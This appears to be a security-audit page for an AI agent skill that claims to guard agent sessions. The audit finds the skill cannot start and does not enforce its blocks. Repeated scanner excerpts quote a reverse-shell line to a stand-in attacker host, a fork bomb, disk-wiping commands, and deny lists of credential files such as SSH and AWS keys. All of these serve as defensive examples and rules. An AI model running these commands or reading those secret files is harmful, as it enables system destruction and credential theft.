T09 · Insecure Skill Coding Practices
- Location
src/guardian.js:12- Finding
Missing Runtime Rules Module Prevents Guardian Startup
- Content
View full analysis
- Remediation
View remediation
Security audit
Security checks for vulnerabilities and agentic risk
The skill presents itself as a runtime security guardian, but the packaged code cannot start and the advertised blocking/freezing controls are not actually enforced.
Review carefully before installing or relying on this skill. The dangerous strings flagged by scanners are mostly safety-rule examples, not active malware, but the package currently provides false assurance: it cannot start as shipped and does not technically block, freeze, or intercept operations as advertised.
src/guardian.js:12Missing Runtime Rules Module Prevents Guardian Startup
src/guardian.js:426Advertised Runtime Interception and Session Freeze Controls Are Not Enforced
src/guardian.js:579Incorrect Audit Log Rotation Condition Allows Unbounded Log Growth
YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).
��═══════════════════════════════════════════════════════════════╣
║ Session: session-xxx ║
║ Frozen: YYYY-MM-DD HH:MM:SS ║
║ Reason: CRITICAL threat detected ║
║ Last Op: nc -e /bin/bash attacker.com 4444 ║
╠═══════════════════════════════════════════════════════════════╣
║ Pending: 3 operations ║
║ Evidence: Preserved ║
╚═══════════════════════════════════════════════════════════════╝
Type "unfreeze session-xxx" to
YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).
────────────
---
## 拦截规则
### 路径规则
**禁止访问**:
/etc/* # 系统配置 /root/* # root 目录 /.ssh/* # SSH 密钥 /.aws/* # AWS 凭证 /.kube/* # Kubernetes 配置
**需要确认**:
/etc/ # 系统目录 /var/ # 日志目录
### 命令规则
**禁止执行**:
rm -rf / # 危险删除 rm -rf /home # 删除用户目录 :(){ :|:& };: # Fork 炸弹 dd if=* of=/dev/ # 磁盘写入
**需要确认**:
rm -rf # 大范围删除 chmod 777 # 权限过宽 killall # 批量终止 shutdown # 系统关机
---
## 审计日志
日志位置:`~/.clawguard/logs/`
日志格式:
```json
{
"timestamp": "2026-03-21T10:30:00.000Z",
"sessionId": "session-xxx",
"type": "operation",
"action": "读取文件",
"target": "/etc/passwd",
"result": "BLOCKED",
"riskLevel": "CRITICAL"
}
Classifying broad destructive commands like 'rm -rf', 'chmod 777', 'killall', and 'shutdown' as merely 'needs confirmation' may be too permissive for an auto-invoked agent skill. Confirmation mechanisms are often weak or bypassable in agent workflows, so dangerous operations may still proceed and cause system damage or denial of service.
需要确认:
rm -rf # 大范围删除
chmod 777 # 权限过宽
killall # 批量终止
shutdown # 系统关机
The audit log example records sensitive target paths such as '/etc/passwd', demonstrating that the system may persist high-sensitivity operation metadata to disk. Even if the underlying action is blocked, storing sensitive targets in logs can leak reconnaissance details or confidential file-access attempts to anyone who can read the log directory.
"sessionId": "session-xxx",
"type": "operation",
"action": "读取文件",
"target": "/etc/passwd",
"result": "BLOCKED",
"riskLevel": "CRITICAL"
}
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
📺 Session Replay: ✅ [10:30:01] Command: ls -la ✅ [10:30:05] File: Read /tmp/test.txt 🚫 [10:30:10] File: /etc/passwd (BLOCKED) ✅ [10:30:15] Network: api.github.com
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
📺 Session Replay: ✅ [10:30:01] Command: ls -la ✅ [10:30:05] File: Read /tmp/test.txt 🚫 [10:30:10] File: /etc/passwd (BLOCKED) ✅ [10:30:15] Network: api.github.com
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
📺 Session Replay: ✅ [10:30:01] Command: ls -la ✅ [10:30:05] File: Read /tmp/test.txt 🚫 [10:30:10] File: /etc/passwd (BLOCKED) ✅ [10:30:15] Network: api.github.com
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
📺 Session Replay: ✅ [10:30:01] Command: ls -la ✅ [10:30:05] File: Read /tmp/test.txt 🚫 [10:30:10] File: /etc/passwd (BLOCKED) ✅ [10:30:15] Network: api.github.com
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
| Pattern | Risk | Action |
|---------|------|--------|
| `rm -rf /home` | 🔴 CRITICAL | BLOCK |
| `curl\|sh` | 🔴 CRITICAL | BLOCK |
| `nc -e` | 🔴 CRITICAL | BLOCK |
| `sudo su` | 🟠 HIGH | WARN |
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
| Pattern | Risk | Action |
|---------|------|--------|
| `rm -rf /home` | 🔴 CRITICAL | BLOCK |
| `curl\|sh` | 🔴 CRITICAL | BLOCK |
| `nc -e` | 🔴 CRITICAL | BLOCK |
| `sudo su` | 🟠 HIGH | WARN |
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
| Pattern | Risk | Action |
|---------|------|--------|
| `rm -rf /home` | 🔴 CRITICAL | BLOCK |
| `curl\|sh` | 🔴 CRITICAL | BLOCK |
| `nc -e` | 🔴 CRITICAL | BLOCK |
| `sudo su` | 🟠 HIGH | WARN |
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
| Pattern | Risk | Action |
|---------|------|--------|
| `rm -rf /home` | 🔴 CRITICAL | BLOCK |
| `curl\|sh` | 🔴 CRITICAL | BLOCK |
| `nc -e` | 🔴 CRITICAL | BLOCK |
| `sudo su` | 🟠 HIGH | WARN |
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
| Pattern | Risk | Action |
|---------|------|--------|
| `rm -rf /home` | 🔴 CRITICAL | BLOCK |
| `curl\|sh` | 🔴 CRITICAL | BLOCK |
| `nc -e` | 🔴 CRITICAL | BLOCK |
| `sudo su` | 🟠 HIGH | WARN |
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
| Pattern | Risk | Action |
|---------|------|--------|
| `rm -rf /home` | 🔴 CRITICAL | BLOCK |
| `curl\|sh` | 🔴 CRITICAL | BLOCK |
| `nc -e` | 🔴 CRITICAL | BLOCK |
| `sudo su` | 🟠 HIGH | WARN |
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
| Pattern | Risk | Action |
|---------|------|--------|
| `rm -rf /home` | 🔴 CRITICAL | BLOCK |
| `curl\|sh` | 🔴 CRITICAL | BLOCK |
| `nc -e` | 🔴 CRITICAL | BLOCK |
| `sudo su` | 🟠 HIGH | WARN |
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
| Pattern | Risk | Action |
|---------|------|--------|
| `rm -rf /home` | 🔴 CRITICAL | BLOCK |
| `curl\|sh` | 🔴 CRITICAL | BLOCK |
| `nc -e` | 🔴 CRITICAL | BLOCK |
| `sudo su` | 🟠 HIGH | WARN |
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
| Pattern | Risk | Action |
|---------|------|--------|
| `rm -rf /home` | 🔴 CRITICAL | BLOCK |
| `curl\|sh` | 🔴 CRITICAL | BLOCK |
| `nc -e` | 🔴 CRITICAL | BLOCK |
| `sudo su` | 🟠 HIGH | WARN |
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
| Pattern | Risk | Action |
|---------|------|--------|
| `rm -rf /home` | 🔴 CRITICAL | BLOCK |
| `curl\|sh` | 🔴 CRITICAL | BLOCK |
| `nc -e` | 🔴 CRITICAL | BLOCK |
| `sudo su` | 🟠 HIGH | WARN |
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
| `nc -e` | 🔴 CRITICAL | BLOCK |
| `sudo su` | 🟠 HIGH | WARN |
| `rm -rf` | 🟠 HIGH | CONFIRM |
| `chmod 777` | 🟠 HIGH | CONFIRM |
### Type 2: File Operation Monitoring
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
| `nc -e` | 🔴 CRITICAL | BLOCK |
| `sudo su` | 🟠 HIGH | WARN |
| `rm -rf` | 🟠 HIGH | CONFIRM |
| `chmod 777` | 🟠 HIGH | CONFIRM |
### Type 2: File Operation Monitoring
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
// Absolute deny
DENY: [
'/etc/passwd',
'/etc/shadow',
'/etc/sudoers',
'/etc/cron.d',
'/root/.*',
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
const COMMAND_RULES = {
// Absolute deny
DENY: [
'rm -rf /',
'rm -rf /home',
'rm -rf /root',
':(){ :|:& };:', // Fork bomb
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
// Absolute deny
DENY: [
'rm -rf /',
'rm -rf /home',
'rm -rf /root',
':(){ :|:& };:', // Fork bomb
'dd if=.*of=/dev/',
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
DENY: [
'rm -rf /',
'rm -rf /home',
'rm -rf /root',
':(){ :|:& };:', // Fork bomb
'dd if=.*of=/dev/',
'mkfs',
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
DENY: [
'rm -rf /',
'rm -rf /home',
'rm -rf /root',
':(){ :|:& };:', // Fork bomb
'dd if=.*of=/dev/',
'mkfs',